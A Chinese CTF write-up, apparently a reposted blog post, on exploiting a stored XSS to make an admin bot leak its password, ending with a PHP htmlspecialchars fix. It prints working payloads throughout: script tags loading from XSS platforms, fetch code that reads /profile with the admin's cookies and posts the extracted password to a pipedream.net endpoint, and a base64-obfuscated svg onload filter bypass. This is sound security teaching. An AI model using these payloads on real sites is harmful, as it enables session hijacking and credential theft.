文章总结: 本文详解CTF混合型XSS题目的完整解题过程。通过注册发现存储型XSS注入点,利用XSS平台和Pipedream外带页面源码获取管理员密码。文章提供完整攻击Payload,分析跨域数据外带原理,并给出PHP漏洞修复方案使用htmlspecialchars输出编码。最后演示针对script过滤的绕过技巧,使用svg标签配合base64编码执行恶意脚本。
综合评分: 81
文章分类: CTF,WEB安全,漏洞POC,漏洞分析,实战经验
CTF刷题:混合型XSS详解
原创
小话安全
小话安全
小话安全
2026年2月24日 18:02
山东
网站打开为登录框
测试是否有注入点,未发现注入点。
账号口令爆破,未爆破成功。
注册新用户登录,有这种注册功能的,一般不需要测试SQL注入和密码爆破。
出现这种框,一般就是XSS了,测试一下。
攻击思路
现在已经找到了存储型XSS的注入点(比如评论区、留言板等可以输入内容的地方),需要让管理员访问被注入的页面,从而触发XSS,将包含密码的页面源码发送到攻击者控制的服务器(XSS平台)。
具体流程:
- 在XSS平台(如xssaq.com)上创建一个项目,获取一个用于接收数据的Payload(通常是一个脚本标签,指向平台的接口,或者是一段JavaScript代码)。
- 将该Payload注入到靶场的存储型XSS漏洞中,例如在评论区提交一段包含恶意脚本的文本。
- 等待管理员访问该页面。当管理员浏览器加载页面时,Payload执行,它会将当前页面的HTML源码(包含明文密码)发送到XSS平台。
- 攻击者登录XSS平台,查看接收到的数据,从中提取出管理员密码。
XSS数据接收平台
我们通过XSS攻击获取到用户的Cookie和表单劫持得到的信息,需要有一个地方存储起来,XSS获取到的数据存储起来的好处是避免被发觉,方便进一步使用或后续渗透测试。因为如果直接alert()方式网站管理员很快就会发现并清除掉。
XSS数据接收平台有两种,一种是自己搭建服务来接收,开源的有BlueLotus_XSSReceiver蓝莲花,另一种是使用在线平台,本文示例基于在线平台。
详细步骤解释
步骤1:登录XSS平台并创建项目
- 访问
https://xssaq.com,注册/登录账号。 - 进入控制台,创建一个新项目(通常需要填写项目名称、描述等)。平台会生成一个唯一的项目ID或URL。
步骤2:获取Payload配置代码
- 在项目详情页,平台会提供一段配置代码,通常是一个JavaScript脚本的URL,例如:
<script src="http://xssaq.com/project/xxx"></script>
或者是一个完整的JavaScript代码片段,用于向平台发送数据。
- 这段代码就是我们要注入的XSS Payload。它的作用是:当页面加载时,它会将当前页面的内容(包括HTML源码)或者Cookie等信息发送到平台的服务器。
步骤3:将Payload注入靶场
- 找到靶场中存储型XSS的注入点,比如一个评论框、留言板或用户资料编辑处。
- 将Payload代码粘贴到输入框中,提交保存。这样,Payload就被存储到了服务器的数据库中。
- 注意:有些靶场可能会对输入进行过滤或转义,需要绕过防护,但题目假设注入点可用。
步骤4:等待管理员触发
- 管理员在后台操作时,可能会访问包含该Payload的页面(例如查看评论、管理留言等)。
- 当管理员浏览器加载该页面时,Payload中的脚本开始执行。
- 脚本会通过DOM操作获取整个页面的HTML源码
步骤5:在XSS平台查看结果
- 攻击者登录XSS平台,进入项目页面,查看接收到的数据记录。
- 每条记录通常包含受害者的IP、User-Agent、以及发送的数据(如页面源码)。
- 在源码中搜索“密码”或相关字段,就能找到管理员的明文密码。
1.为什么需要换平台外带?
你之前使用的 xs.pe 平台虽然能通过 <script src> 上线,但它可能仅支持预定义的数据收集方式(比如自动截图、获取 Cookie 等),而无法让你自定义发送任意数据(如页面源码)。当你尝试自己编写 Payload 向 xs.pe 发送源码时,可能因为:
- 接口不匹配:平台接收数据的接口与脚本 URL 不同,或者需要特定的参数名/格式。
- 数据限制:平台可能只处理特定类型的数据(如 Cookie),忽略其他 POST 字段。
- 跨域问题:虽然
<script src>不受跨域限制,但手动发送的 XHR/fetch 可能被浏览器的 CORS 策略阻止(除非平台允许)。
因此,你需要一个完全可控的外部平台,例如 https://pipedream.com,它允许你:
- 创建一个专属的 HTTP 接收端点(Endpoint),可以查看所有传入的请求详情(包括 Headers、Body、参数)。
- 不受数据格式限制,你可以自由地将页面源码作为 GET 参数或 POST 数据发送。
- 实时查看日志,便于调试和提取密码。
2. 关键信息如何证明攻击成功?
你观察到的两个关键信息是:
- Referer 指向
/profile页面
这说明脚本是在用户访问/profile页面时执行的。结合题目描述“管理员点击时查看源码”,表明管理员确实点击了包含 XSS 的签名(或其他入口),然后跳转到了/profile页面,触发了你注入的脚本。这验证了脚本在正确的目标页面运行。 - User Agent 是 Windows + Edge/Chrome
这很可能是真实管理员的浏览器环境,或者是 CTF 挑战中模拟的机器人。UA 信息帮助你确认访问者不是你自己(攻击者),从而避免误判。如果 UA 是你的浏览器,说明你触发了自己的脚本,而管理员并未访问。
这两个信息结合起来,可以得出结论:攻击成功,脚本已在管理员的 /profile 页面执行,接下来需要从页面源码中提取密码并外带。
3. 如何使用 Pipedream 外带密码?
在 Pipedream 上创建一个 HTTP 触发器(HTTP Endpoint),获得一个专属 URL(例如 https://eoxxxxxx.m.pipedream.net)。然后编写如下 Payload,将页面源码发送到这个 URL:
<script> // 获取页面源码 var html = document.documentElement.outerHTML;
// 编码后发送到 Pipedream var url = "https://eoxxxxxx.m.pipedream.net?data=" + encodeURIComponent(html); new Image().src = url; // 无跨域限制</script>
注入后,当管理员访问 /profile 页面时,源码就会发送到你的 Pipedream 端点。你可以在 Pipedream 的日志中查看完整的 HTML,从中搜索“密码”字段即可获得明文密码。
(async () => { try { // 1. 向 /profile 发起请求(携带 Cookie) const res = await fetch('/profile', { credentials: 'include', method: 'GET' }); const txt = await res.text();
// 2. 获取页面 HTML 源码,并提取密码字段(id="upass") const secret = txt.split('id="upass"')[1].substr(48,45);
// 3. 构造 POST 请求头和数据 const headers = new Headers(); headers.append("Content-Type", "application/json"); const body = { "test": secret }; const options = { method: "POST", headers, mode: "cors", // 允许跨域 body: JSON.stringify(body), };
// 4. 将密码通过 POST 请求发送到你的 Pipedream Webhook fetch("https://eo8ovvhqgoptvze.m.pipedream.net", options); } catch (e) { console.error(e); // 如果出错,在控制台打印(普通用户看不到) }})();
各步骤详解:
- 第1步:
fetch('/profile', { credentials: 'include' })向同域的/profile发送 GET 请求,并自动携带当前页面的 Cookie(包括管理员的会话 Cookie),从而获取到包含密码的页面。 - 第2步:获取 HTML 文本后,通过字符串操作提取密码。
txt.split('id="upass"')[1]取id="upass"之后的部分,再取从第48个字符开始的45个字符作为密码。注意:这种方法高度依赖页面结构的固定位置,如果页面稍有变化(如添加了其他属性),提取可能失败。 - 第3步:将密码包装为 JSON,设置
mode: "cors"明确允许跨域请求。 - 第4步:发送到你的 Pipedream 端点
https://eo8ovvhqgoptvze.m.pipedream.net。从你提供的该 URL 返回的 JSON 信息看,这是一个有效的 Pipedream HTTP 触发器(event_id等字段),它会记录所有接收到的请求。
简单的XSS漏洞修复
<?php// 存储评论的文件$file = 'comments.txt';
// 处理表单提交if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['comment'])) { $comment = $_POST['comment']; // 将评论追加到文件(未做任何过滤) file_put_contents($file, $comment . PHP_EOL, FILE_APPEND | LOCK_EX); // 重定向避免重复提交 header('Location: ' . $_SERVER['PHP_SELF']); exit;}
// 读取所有评论$comments = file_exists($file) ? file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];?><!DOCTYPE html><html><head> <meta charset="utf-8"> <title>XSS 漏洞演示 - 留言板</title></head><body> <h1>留言板(存在存储型XSS漏洞)</h1> <form method="post"> <label>你的留言:</label><br> <textarea name="comment" rows="4" cols="50"></textarea><br> <input type="submit" value="提交"> </form>
<h2>所有留言:</h2> <?php foreach ($comments as $comment): ?> <div class="comment"> <!-- 直接输出用户输入,未做任何转义,存在XSS漏洞 --> <?php echo $comment; ?> </div> <hr> <?php endforeach; ?></body></html>
漏洞修复
<?php echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8'); ?>
修复说明
- 输出编码:在将评论内容插入HTML时,使用
htmlspecialchars($comment, ENT_QUOTES, 'UTF-8')将所有特殊字符(如<,>,&,",')转换为对应的HTML实体。这样,即使用户输入了<script>alert('XSS')</script>,也会被显示为普通文本,而不会作为脚本执行。
此题只过滤了script 和 \,用下面命令进行绕过,其余和上一题一样
<svgonload=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3hzLnBlL0lWNCc7'))>
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小话安全 小话安全
小话安全《CTF刷题:混合型XSS详解》